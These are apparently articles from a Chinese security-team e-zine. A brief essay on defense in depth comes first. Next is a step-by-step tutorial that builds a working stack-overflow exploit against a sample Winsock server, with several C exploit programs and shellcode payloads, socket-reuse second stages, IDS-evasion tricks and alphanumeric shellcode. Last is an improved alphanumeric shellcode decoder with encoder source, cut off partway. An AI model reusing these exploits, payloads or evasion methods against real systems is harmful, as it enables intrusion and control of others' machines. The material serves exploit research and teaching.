但是程序员还是不能很好的理解,他们跑出来说:我这里做了完善的 access control,只有管理员才看的到,这里就算有注射有跨站就随他去了,不需要修复。想偷这种懒的人其实不在少数。这种想法违背了深度防御的思想。先姑且不论如果管理员密码泄露,或者管理员是个内鬼的情况。如果刺客通过注射拿到了管理员密码,或者是直接通过XSS和CSRF来对后台进行注射,那么前面的 access control就完全没作用了。

在一定程度上,是可以容忍风险的存在的,但是从长期来看,这种做法是非常不可取的。比如有的管理员会说防火墙只允许80端口,那么RPC漏洞或开其他端口的应用漏洞是否就可以不补了。也许一时来说是没什么问题,但是如果放置不管将导致没有人来维护漏洞,也许哪天的防火墙策略变更,或者来自内部系统的威胁,都有可能导致当时看起来无害的漏洞被利用。而这种做法的一个后果往往是难以检查原因,就是说咋死的都不知道。所以这又回到了开始的话题:安全是一个持续的过程。

在灌输完深度防御的思想给程序员以后,狂战士又被另外一种程序员打击到崩溃了。面对满目都是红色的扫描报告,他们说:我这个xxx ftp没漏洞,除非狂战士可以证明黑客能搞进来拿到shell。一般狂战士听到这种要求,狂化的概率在80%以上。首先,不是只有能拿到shell的才叫漏洞。一个dos可能会造成业务的中断,一个infomation leak可能会为后续攻击带来便利,等等。

面对scan report以及CVE查询出来的漏洞,大部分都是没有现成的exp能够利用的,而且要利用漏洞可能有各种苛刻的条件,比如要求本地交互shell啊,或者要求有帐户之类。而更多的时候,漏洞根本连细节的都没有,只有一个漏洞公告里一个简单的划分critical,标红。就算有exp,可能还要考虑到 exp的稳定性和成功率、语言版本啥的,打过去也不一定能成功。更何况狂战士无法处心积虑了为了POC给程序员看,而花费大量的精力来追求一个可能没有结果的漏洞。

但是无法POC不代表就没有风险了。我们的目标是要保证一个系统长期的在任何情况下都能安全运行,机密数据不会外泄,业务不会中断。所以这种程序员犯的错误就是偷换了概念,把威胁范围缩小了,用个体来代替全局。很多时候威胁可能来自内部,可能来自误操作,可能来自其他的风险。要说服这种程序员很辛苦,只能够靠长期的“忽悠”,来慢慢感化他们,要是运气好还能做出一两个POC来震撼下他们,刘震撼(ZhenHan.Liu)就是为此而生的。佛曰:我不下地狱谁下地狱。

作为一个优秀的狂战士,往往要有相当程度的mission impossible的修为。很多时候,需要为浏览器漏洞、操作系统漏洞擦屁股,不然最后吃亏的还是自己的用户。面对钓鱼和诈骗,很多时候那些认为web 安全是“奇技淫巧”狂战士们认为解决方案是impossible的,认为no patch for stupid。比如phishing,诚然,如果有一个一劳永逸的方案,那么这种完美魔法要是放出来了绝对可以获得圣阶魔导师的称号。但是YY归YY,现实归现实。狂战士们很头疼这种问题,但是却不得不去面对它。

魔法最终还是放出来了,可惜不完美。目前anti-phishing的魔法,有整到浏览器里内置对抗的(IE7/8),也有浏览器toolbar、扩展的,有在IM里做过滤的,还有穷举malicious sites的,更有发动人民战争来维护一个blacklist的,其难度和成本从低到高什么都有,不过基本都无法一次性解决问题。比较有创意的魔法属于 yahoo发明的sign seal,基于认证机器的原理来识别真实网站,不过这个方法的缺陷在于需要长期教育用户,实际使用效果不一定好。yahoo还整了个domainkey技术来在邮件里对抗phishing,不过这个缺陷更明显,需要邮件服务商支持。yahoo的狂战士挺有想法的,就是太理想化了一点。

说到安全世界的另外一股强大力量不能不提教廷,这个宗教从精神上统治了安全世界,一群群红衣主教们整出来了一堆标准、规范比如BS7799之类来帮助狂战士们更好的忽悠他们的BOSS。其实标准是死的,主教们的出发点是好的,不过这些标准啥的就和秘籍差不多,狂战士们以为他们读明白了,其实很少人真正读懂了。那玩意如果拿来忽悠BOSS们确实是一套套的,但用在实处则有一个本地化的过程。必须要把标准之类的东西和实际情况结合起来,不然就只能停留在忽悠的层面上。

最能体现问题的出在编码规范上。可能有N个权威的机构都出了他们自己的code规范,或者某些狂战士佣兵团(安全公司)也自己整了套。不过在具体使用的时候,很多狂战士都是拿了一套去用在所有的公司身上,其实这样的结果就是到最后没有程序员遵守用那玩意,因为在实际情况中往往不好用。每个公司都有自己的体系、环境和编码习惯。系统的designer和architect只要不是小白一般都或多或少的会考虑点安全风险,规范只有本地化以后才能很好的用起来,不然绝对会水土不服。所以要是再遇到什么安全公司拿标准、规范来忽悠的时候,狂战士们就要睁亮了眼睛了!

胡侃瞎吹了这么多其实也没说到重点,不过重点已经不是本文要讲的事情了,想要讲的东西还有很多,也许以后会陆续写出来。狂战士是份很好的职业,希望有更多的狂战士甚至是半兽人朋友能够加入我所在的狂战士佣兵团!

.
axis
axis@ph4nt0m.org

[PSTZine 0x01][0x03][做一个优秀的木匠]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x03 of 0x06


|=-----------------------------------------------------------------------=|
|=-------------------=[ 做一个优秀的木匠 ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ By F.Zh ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|

本文TXT版本:
http://docs.google.com/Doc?id=dfr6h9bk_3hk3csmgd

[本文内容可能会伤及到部分名人粉丝感情,作者表示仅为插科打诨之用,并无恶意]

有副图描述了从发现漏洞到最后盈利的过程,大概意思是研究人员发现了房子的漏洞,木匠针对漏洞造了一个梯子,最后脚本小子进屋偷东西。国内的圈子里面,玩票性质的安全爱好者大多不愿意做脚本小子,同时也不见得有足够的时间去找房子的漏洞,所以闲暇时候基本上做做木匠活当消遣。但木匠也是有三六九等的,有朱由校,有鲁班,也有就只能给地主老财家做楠木棺材的。作为一个有职业道德的木匠,显然应该努力向前面两个靠拢,因为只能做做楠木棺材的,未免也太失面子了。

这篇文章就从国内某著名破解论坛搞的科普竞赛开始,由一个楠木棺材级别的木匠挣扎着介绍一下放眼能够看到的技巧。在切入正题前,有必要介绍一下科普竞赛的背景和结果:大约是看到windows漏洞太值钱,破解组织也开始搞起了逆向和exploit,而且还以竞赛的方式来引起非木匠的关注。科普竞赛的题目是两道,如Sowhat所说(http: //hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道题是可以 Google到的,而第一道题显然是个送分题,因此科普竞赛实际上是个比手快的过程。最后结果是nop拿了第一,这个名字让人不禁联想到了五一国际劳动节和革命先烈鲜血的颜色,当然,我们依然怀着无比的敬仰和美好的期望,希望这个nop不是职业运动员参加了业余比赛。

先看看存在问题的程序。逆向很简单,但是为了方便,还是直接给出官方公布的源代码。具有严重自虐倾向的木匠请编译后用ida逆向一下,并自备低温蜡烛和爱心小皮鞭。

====================和谐的分割线=============================

#include<iostream.h>
#include
<winsock2.h>
#pragma comment(lib,
"ws2_32.lib")
void msg_display(char * buf)
{
char msg[200];
strcpy(msg,buf);
// overflow here, copy 0x200 to 200
cout<<"********************"<<endl;
cout
<<"received:"<<endl;
cout
<<msg<<endl;
}
void main()
{
int sock,msgsock,lenth,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x200]; //noticed it is 0x200

WSADATA wsa;
WSAStartup(MAKEWORD(
1,1),&wsa);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout
<<sock<<"socket creating error!"<<endl;
exit(
1);
}
sock_server.sin_family
=AF_INET;
sock_server.sin_port
=htons(7777);
sock_server.sin_addr.s_addr
=htonl(INADDR_ANY);
if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
{
cout
<<"binding stream socket error!"<<endl;
}
cout
<<"**************************************"<<endl;
cout
<<" exploit target server 1.0 "<<endl;
cout
<<"**************************************"<<endl;
listen(sock,
4);
lenth
=sizeof(struct sockaddr);
do{
msgsock
=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
if(msgsock==-1)
{
cout
<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,
0,sizeof(buf));
if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
{
cout
<<"reading stream message erro!"<<endl;
receive_len
=0;
}
msg_display(buf);
//trigged the overflow
}while(receive_len);
closesocket(msgsock);
}
while(1);
WSACleanup();
}

====================和谐的分割线============================

如注释所言,这里是误把0x200长度的往200字符串里面拷贝了。其实这个问题并不具有代表性,比尔叔叔的手下们把widechar的长度算错过,把栈上的变量当堆释放过,把用户给的地址内容加1过,唯独没有昏到把16进制和10进制搞混。不过既然主办方这样写,我们也就这样看吧。实际上逆向出来后,作为一个模板可以覆盖ret,然后code page里面找jmp esp,然后这样那样,很简单就搞定exp了。尽管在冠军的答案中看到了这种方法的影子,楠木棺材级木匠还是要挥舞着手中的锯子说,这种程度只能去做洗脚盆。

好吧,那我们一步一步地看如果从洗脚盆程度提升到楠木棺材级别,并展望一下更高的层次。

首先是获取CPU的控制权问题。

dark spyrit在某期Phrack(记不清楚了)上提出可以用系统加载的dll上的指令码来跳转并获得控制权。这里有一个前提,因为很巧的你覆盖了一大堆东西后,ret退栈后esp指向你能够控制的代码,因此用一个jmp esp可以跳过来执行,剩下就是编写shellcode。但是,并不是说就只能用这个方法,或者说这个方法就最好。dark spyrit最大的贡献是提出了一个通用的方法,同马列主义毛泽东思想邓小平理论三个代表八荣八耻一样,虽然是放之四海而皆准的真理,不过到了中国,还是要要结合具体的国情来开展工作。拿jmp esp的东西往机器上一跑,不同的操作系统版本怎么办,/3gb模式怎么办?做洗脚盆的确可以区分着做出男用女用小孩用人妖用的,但是可能拿去用的人是超女的冠军,如果事先你不知道名字,只看长相,你说到底给那个盆子好?

所以造梯子的时候,最好还是根据实际情况来。一般来说,栈溢出时,对栈上的破坏情况不是很严重的话,在栈区域上可以看到很多上层函数的局部变量,而且这些局部变量往往是很有用的,比如凑巧就是你那个字符串的指针等。打栈上变量的主意有几个好处,首先你可以用其他更稳定的方法跳转到恶意字符串的开头,其次这可以给你多一些字节空间来存放shellcode,最后还可以防止一些ids/ips的检测。我们可以用下面一个简单的图示来把这三个优势混杂起来说明一下。

<--lower upper-->
================================================================
var of vulnerable function | ret | var of upper function ...
================================================================
NOP NOP NOP NOP NOP NOP NOP | jmp esp | shellcode
================================================================
shellcode | jmp ? | var of upper function
================================================================


第二行是马列主义方法,你一定会覆盖到ret,然后继续覆盖起码2个字节(eb xx往回跳转)。因此一些ids/ips的signature就写了,如果你超过xxoo个字节,就阻止发送。就算写得不好的signature起码也会检查你是否覆盖到了ret的四个字节,一些更严格的甚至只要覆盖到ret的第一个字节就报警,对于这样的情况,马列主义方法肯定是被扼杀了,但是第三行的具体国情方法还有一线机会逃脱检测,我们根本不用覆盖完ret的四个字节,只要利用栈上的变量,找一些特定的字节码就可以了。

说到这里还可以插播一个事情,去年一月份泄露出来的.ani溢出的exp,大家对那个覆盖了低两位的exp惊叹不已。这就是一个很好的例子:第一,你用最小的字节数完成了功能,最大限度避免了ids等的问题。第二,这个方法的稳定性还好。这样说其实是很抽象的,我们还是回到科普竞赛的代码上来看。

调用msg_display的时候传递进来了一个参数,在栈上表现出来是这个参数是紧接着ret地址后面的,如果我们仅覆盖到了ret地址,当CPU执行完msg_display返回时,esp刚好指向这个参数,这个时候只需要一个能达到jmp [esp]功能的地址,就能准确跳转到我们传入的字符串上去,显然,满足这个条件最好的指令就是0xc3(ret)。下面这个图简单地说明了这个问题。

<--lower upper-->
=============================================================================
var of vulnerable function | ret | ptr | other var of upper function ...
=============================================================================
^---------------------------------------|

把图中的ret用一个内容为0xC3的地址A来覆盖,当msg_display返回时,返回到了A地址,再执行了一次0xC3(ret)指令,eip就跳到了字符串的开头。

这里的情况还是很简单的,实际exploiting中也许这个ptr离ret还有点距离,可能需要你pop几次,这个形式上同覆盖seh的利用方法相同,也算是一个巧合吧。

然后来说说0xC3地址的寻找。首先很遗憾的,如果你想用四个字节完全覆盖ret地址,没有一个通用地方。msvcrt.dll在相同sp的不同语言系统中相对固定,code page在相同语言不同版本系统中相对固定。注意,这里只是相对,碰上些特殊的情况,可能这些平时通用的地址根本就是无效的地址。再严格一些,如果这里地址必须符合某种编码规范,也许你更难找到可用的地址,更别说通用了。

洗脚盆级别的木匠到这里估计要晕倒了,棺材匠级别的应该还有点办法,两个解决方案:

第一、找一个替代产品来满足编码规范。比如0x7ffa1571是你要找的pop pop ret,没必要一定要用0x7ffa1571,也许用0x7ffa156e也可以,只要pop pop ret前面的指令无伤大雅就是。一个实际的例子是泄露出来的realplayer import那个,要找pop pop ret,但是符合编码规范的范围内找不到,作为替代找了一个 call xxx/ret xx,而且刚好call xxx还不会让程序崩溃。

第二、缩小覆盖面积。覆盖4个字节太痛苦了,少覆盖几个字节吧。x86的DWORD是低位在上的,所以你顺序覆盖的时候,首先覆盖了ret地址的低位。正常的ret值是返回到某个pe文件中,比如00401258,如果覆盖一个字节,那可能的地址范围是00401201~004012ff,如果覆盖2个字节,可能的地址范围在00400101~0040ffff。这么大的范围内一般容易找到满足要求的地址,而且更重要的是,pe文件版本固定的话,尽管加载的基地址可能会变化,但是由于基地址有个对齐的要求,低位(两个字节或更多)完全固定,这实际上是一个很好的提高稳定性的方法。现实中memcpy导致的问题用这种方法更有效,strcpy的麻烦些,不过好在只要说明问题就是,这里也不深究过多。马上给出第一个代码。

===================和谐的分割线======================
#include <winsock2.h>
#include 
<stdio.h>
#pragma comment(lib, 
"ws2_32")

SOCKET ConnectTo(
char *ip, int port)
{
    SOCKET s;
    
struct hostent *he;
    
struct sockaddr_in host;
    
if((he = gethostbyname(ip)) == 0)
        
return INVALID_SOCKET;
    host.sin_port 
= htons(port);
    host.sin_family 
= AF_INET;
    host.sin_addr 
= *((struct in_addr *)he->h_addr);
    
if ((s = WSASocket(210000)) == -1)
        
return INVALID_SOCKET;
    
if ((connect(s, (struct sockaddr *&host, sizeof(host))) == -1)
    {
        closesocket(s);
        
return INVALID_SOCKET;
    }
    
return s;
}

void main()
{
    
char malicious[] =  "\xcc"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"OA@";
    WSADATA wsaData;
    
if(WSAStartup(0x0101,&wsaData) != 0)
        
return;
    SOCKET s 
= ConnectTo("127.0.0.1"7777);
    send(s, malicious, 
2030);  //hard encoded :)
    WSACleanup();
}

=================和谐的分割线=======================

执行下顺利到达int3指令。

构造exp的过程本身是简单的,关键在shellcode实现功能上。洗脚盆木匠到这一步基本上就是找一个shellcode来用。作为一个有职业道德的棺材级木匠,可能还应该有点更高的追求:好的梯子除了能够通用而精确地干掉存在漏洞的机器外,同时还要方便使用者,绕过防火墙,而且还要尽可能少地影响到守护进程。对于网络程序,理想的情况是复用端口,终极目标是复用完了还不挂,后续的使用者能够正常使用守护进程的功能。后一点听起来似乎有点不可思议,而且流传在外面的各种exp,好像还罕有牛到这种程度,不过说穿了也没什么奇怪的,棺材级的木匠一般都能做到,只是马桶级木匠更喜欢散布马桶级exp而已。我们把复用端口的问题留在后面,先聊聊如何让守护进程不挂掉这个事情。

要程序不挂,最简单的办法就是恢复溢出时候的上下文,然后返回去。通常jmp esp的方法因为覆盖得太多,栈给洗脚盆木匠搞得一团糟,影响了太多上级函数的变量,导致根本没有什么好办法可以恢复。这个时候,尽可能少覆盖的优势出来了:由于最大限度地保存了上层函数局部变量,所以要做的就是恢复相关寄存器的值,然后寻找正常流程应该返回的地址,跳转回去即可。对于这里这个简单的 daemon,我们甚至可以硬编码返回地址。还是把例子给出来,说明一下问题先。

==============和谐的分割线=======================
char malicious[] =
"\xCC"
"LLLL`a"
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"OA@";
==============和谐的分割线=====================

同前面一个代码相同,0xCC为了调试方便,改成0x90后再编译执行下,可以看见守护进程完全恢复了,你还可以telnet 7777过去正常执行功能,和没有发生过问题一样。这里恢复的代码用了一点小技巧,有兴趣的木匠可以仔细看看,代码`和a分别是pushad和 popad,在这两个中间可以放置任何功能的shellcode,不影响整体的框架。

例子虽然简单,但是我建议读到这里的木匠还是跟进去看一下流程。由于这个实例比较直观,代码就简单恢复了上下文然后跳到正常地方执行,对于复杂点的代码,可能需要多费一点手脚,但是大体思路和步骤还是可以确定的:首先收集一个正常执行完出问题代码的寄存器和栈状态;然后确定要返回的地址,搜索或者硬编码,返回的地方可以是上一层,也可以返回上几层,甚至无耻地跳到入口让程序重新执行一次都可以;最后将恢复的代码编码成shellcode,加在正常功能 shellcode的后面。

让守护进程不挂也做到了,接着看看端口复用的情况。

最简单的网络程序保留有一个SOCKET来通讯,很多已有的文章讨论了如何找到当前的SOCKET。最常用的方法是枚举所有可能的值,然后发送特征字符串来确认。也有人hook recv,通过稍微被动一点的方法来获得SOCKET。当然这些都是懒人用的通用方法,对于特定的程序,简单而又稳妥的方法是直接找栈上的变量,消耗的代码少,而且一次性就能找到。如果编译优化的时候没有具体分配栈上的空间给这个socket,则它一定会被保存在某个寄存器里面,那就更简单了。针对具体的情况,像recv之类的函数也没有必要用很长的通用代码去搜索,只要在PE文件里面找找就成。具体的实现细节我们省略掉,给出代码,直接跟进去看看就知道了。

================和谐的分割线=======================
void main()
{
    
char malicious[] =  "\x90"
                   
                    
"LLLL`"
                    
"\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                    
"\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                    
"\x10\x03\xe2"
                    
"a"
                    
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                    
""
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"OA@";
    WSADATA wsaData;
    
if(WSAStartup(0x0101,&wsaData) != 0)
        
return;
    SOCKET s 
= ConnectTo("127.0.0.1"7777);
    send(s, malicious, 
2030);

    send(s, 
"\xCC\xC3",2,0);
    Sleep(
-1);
    WSACleanup();
}

==================和谐的分割线======================

这里直接复用了当前的SOCKET,再次调用recv收了一段shellcode来执行,也就是后面看到的"\xCC\xC3"。自己再写个简单的 shellcode就是,基本没有难度,只是注意要平衡栈,最后用个0xc3结尾。比较见鬼的是这个守护进程有recv但是没有send,所以 shellcode里面你必须自己找到send的地址……娘西皮,还带这样玩的啊。

其他情况下的复用还有一些其他的方法,比如IIS 5这一类的,比如RPC一类的。前者寻找一个结构,后者hook一个函数,伪造或者搜索一个同时有in和out的opnum,具体细节baidu上能够搜索到,限于篇幅这里也不再废话了。如果对方是其他完成端口形式,比如ORACLE,只能暴力点shutdown掉当前监听,自己来监听一个。当然,也有没什么好方法的,比如IIS6。

上面的过程省略了没有技术含量的shellcode编写过程,主要说的是一些步骤,方法和技巧。稳定,复用,还有不挂掉守护进程,都作到了,洗脚盆也成功升级为了棺材匠,还有什么可以做的呢?

美观!这个shellcode简直不是一般的难看,混杂了可读的字符和不可读的字符,简直是丑陋不堪!你说一个木匠会把棺材做的全是毛刺么,不会雕龙刻凤的木匠永远是二流的。对于木匠来说,终极的目标是将一个exp发挥到极致,对于这样简单的一个情况,要用所有可见的字符,最好尽可能都是字母,甚至exp 都不用,直接用个telnet就可以溢出获得shell了。

不可能么?当然是可能的,人有多大胆地有多大产,钱老还论证过亩产万斤是可行的呢。那么,还是给个sample。

void main()
{
    
char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
            
"brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
            
"pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
            
"ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
            
"AAAOA@";
    WSADATA wsaData;
    
if(WSAStartup(0x0101,&wsaData) != 0)
        
return;
    SOCKET s 
= ConnectTo("127.0.0.1"7777);
    send(s, malicious, 
2030);

    send(s, 
"\xCC\xC3",2,0);
    Sleep(
-1);
    WSACleanup();
}


这里两段shellcode,我们主要解决第一步的问题。要说明malicious到底是个什么东西,牵扯的面就太广了,我们假设看文章的木匠都是有汇编功底的,而且愿意反汇编进去看一下,就简单的提提,因为要写这个shellcode的构造,那又是一篇文章。shellcode里面首先平衡栈,然后对栈进行一些patch,patch出想要的指令,然后对后续数据进行解码操作,最后再执行。

这个code,运行顺利可以抓到一个0xCC,也就是第二个send的。但是,ret后守护进程还是挂了。

为了美观,我们exp的工作必须重头再来。开始我们把姿态定得很低,目的是说明问题,现在把最重要的几步都解决了,又回到了原点,各位木匠们,现在可以动起手来写一下完全符合可见字符编码的,复用当前SOCKET的第二段shellcode了。按照前面的步骤,应该不是很难的事情,让守护进程不挂也是可以的,malicious代码保留了革命的火种,发生溢出时的寄存器值,都保留在上面,剩下一点工作,只是比写普通shellcode稍微多费点劲的活,不想试试看么。

最后再卖个关子,棺材木匠说过,最终是可以由telnet提交的获得shell,连exp都不用的。telnet是一个字符一个字符提交的,有没有什么一次性提交203个字节导致第一次溢出呢?可以的,守护进程只有一个线程,打打这方面的主意,用个小技巧吧。

[PSTZine 0x01][0x02][An improvement on mixed case alphanumeric shellcode decoder]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x02 of 0x06


|=----------------------------------------------------------------------------------------------=|
|=---=[ An improvement on mixed case alphanumeric shellcode decoder ]=---=|
|=----------------------------------------------------------------------------------------------=|
|=----------------------------------------------------------------------------------------------=|
|=-------------------------------------=[ By tms320 ]=------------------------------------=|
|=----------------------=[ tms320_at_ph4nt0m_dot_org ]=-------------------------=|
|=----------------------------------------------------------------------------------------------=|

A lot of exploits which used in exploiting Web or mail applications need alphanumeric encoded shellcodes. The paper ‘Writing ia32 alphanumeric shellcodes’ presented on Phrack volume 11, issue 57 introduced to us on how to write an alphanumeric encoded shellcode. Berend developed a tool named alpha2 to encode any binary shellcode to alphanumeric encoded shellcode. A small trick can be used to make mixed case alphanumeric shellcode decoder shorter, so that smaller shellcode can be generated.

Let's have a clear look at Berend’ decoder 'TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0 BBABXP8ABuJI', which gives the following assemble code:

PUSH ESP
POP ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
AAA
PUSH ECX
POP EDX
PUSH 41
POP EAX
PUSH EAX
XOR BYTE PTR DS:[ECX+30],AL
INC ECX
IMUL EAX,DWORD PTR DS:[ECX+41],51
XOR AL,BYTE PTR DS:[ECX+42]
XOR AL,BYTE PTR DS:[EDX+42]
XOR BYTE PTR DS:[EDX+42],AL
INC ECX
INC EDX
POP EAX
PUSH EAX
CMP BYTE PTR DS:[ECX+42],AL
db 75h, 4Ah, 49H ;75 E9 JNZ loop

Here 'IMUL EAX, [ECX+42],10h' is use to shift first byte left 4 bits. Because 10h is not an alphanumeric code, 'XOR BYTE PTR DS:[ECX+30],AL' is used to patch it. Ecx points to the start of decoder, and smallest alphanumeric letter 30h is used to avoid amount of padding nops.

From a simple multiplication of 4h*4h=10h, we can know that shifting a byte left 4 bits can be realized by multiplying 4h twice. Because 4h is still a non-alphanumeric code, 34h, 44h, 54h, 64h, 74h can be used instead.

By this way, xor instruction can be removed from decoder, and the first decoded instructions can start from ecx+30h instead of original ecx+42h. So 12h bytes can be saved in non-compressed decoder, and 8h bytes saved in compressed decoder. Following is the new decoder:

TYIIIIIIQZAkA0D2A00A0kA0D2A12B10B1ABjAX8A1uIN


PUSH ESP
POP ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
PUSH ECX
POP EDX
INC ECX
IMUL EAX,DWORD PTR DS:[ECX+30],44
XOR AL,BYTE PTR DS:[ECX+30]
XOR BYTE PTR DS:[ECX+30],AL
IMUL EAX,DWORD PTR DS:[ECX+30],44
XOR AL,BYTE PTR DS:[ECX+31]
XOR AL,BYTE PTR DS:[EDX+31]
XOR BYTE PTR DS:[EDX+31],AL
INC ECX
INC EDX
PUSH 41
POP EAX
CMP BYTE PTR DS:[ECX+31],AL
db 75h, 49h, 4Eh;75 DE JNZ loop

A modified alpha2 encoding program is attached at end of paper, and thanks to Berend, who shares the original code. If you have questions, please send mail to tms320@ph4nt0m.org.

/*
 *
 
*/

#include 
<stdio.h> // printf(), fprintf(), stderr
#include <stdlib.h> // exit(), EXIT_SUCCESS, EXIT_FAILURE, srand(), rand()
#include <string.h> // strcasecmp(), strstr()
//#include <time.h> //struct timeval, struct timezone, gettimeofday()
#include <windows.h>
#define VERSION_STRING "ALPHA 2: Zero-tolerance. (build 07)"
#define COPYRIGHT      "Copyright (C) 2003, 2004 by Berend-Jan Wever."
strcasecmp (
const char * __sz1, const char * __sz2)
  {
return _stricmp (__sz1, __sz2);}


/*
________________________________________________________________________________

    ,sSSs,,s,  ,sSSSs,  ALPHA 2: Zero-tolerance.
   SS"  Y$P"  SY"  ,SY
  iS'   dY       ,sS"   Unicode-proof uppercase alphanumeric shellcode encoding.
  YS,  dSb    ,sY"      Copyright (C) 2003, 2004 by Berend-Jan Wever.
  `"YSS'"S' 'SSSSSSSP   <skylined@edup.tudelft.nl>
________________________________________________________________________________

  This program is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License version 2, 1991 as published by
  the Free Software Foundation.

  This program is distributed in the hope that it will be useful, but WITHOUT
  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
  details.

  A copy of the GNU General Public License can be found at:
    
http://www.gnu.org/licenses/gpl.html
  or you can write to:
    Free Software Foundation, Inc.
    59 Temple Place - Suite 330
    Boston, MA  02111-1307
    USA.

Acknowledgements:
  Thanks to rix for his phrack article on aphanumeric shellcode.
  Thanks to obscou for his phrack article on unicode-proof shellcode.
  Thanks to Costin Ionescu for the idea behind w32 SEH GetPC code.
  Thanks to spoonm for inspiration and suggestions, check out his 1337 perl
            conversion of ALPHA in the metasploit framework (with polymorphism!)
*/

#define mixedcase_w32sehgetpc           "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36" \
                                        
"FFFFTXVj0PPTUPPa301089"
#define uppercase_w32sehgetpc           "VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYY" \
                                        
"P5YYYD5KKYAPTTX638TDDNVDDX4Z4A638618" \
                                        
"16"
#define mixedcase_ascii_decoder_body    "AkA0D2A00A0kA0D2A12B10B1ABjAX8A1uIN"
#define uppercase_ascii_decoder_body    "VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0B" \
                                        
"BXP8ACJJI"
#define mixedcase_unicode_decoder_body  "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIA" \
                                        
"IAJ11AIAIABABABQI1AIQIAIQI111AIAJQYA" \
                                        
"ZBABABABABkMAGB9u4JB"
#define uppercase_unicode_decoder_body  "QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5" \
                                        
"AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABAB" \
                                        
"QI1AIQIAIQI1111AIAJQI1AYAZBABABABAB3" \
                                        
"0APB944JB"

struct decoder {
  
char* id; // id of option
  char* code; // the decoder
} mixedcase_ascii_decoders[] = {
  { 
"nops",     "IIIIIIII" mixedcase_ascii_decoder_body },
  { 
"eax",      "PYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"ecx",      "IIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"edx",      "JJJJJJJRY" mixedcase_ascii_decoder_body },
  { 
"ebx",      "SYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"esp",      "TYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"ebp",      "UYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"esi",      "VYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"edi",      "WYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"[esp-10]""LLLLLLLLTLLLLYQZ" mixedcase_ascii_decoder_body },
  { 
"[esp-C]",  "LLLLLLLLLLLLY7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp-8]",  "LLLLLLLLYII7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp-4]",  "LLLLYIIII7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp]",    "YIIIIII7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+4]",  "YYIIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"[esp+8]",  "YYYIIIII7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+C]",  "YYYYIIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"[esp+10]""YYYYYIIII7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+14]""YYYYYYIIIIQZ" mixedcase_ascii_decoder_body },
  { 
"[esp+18]""YYYYYYYIII7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+1C]""YYYYYYYYIIIQZ" mixedcase_ascii_decoder_body },
  { 
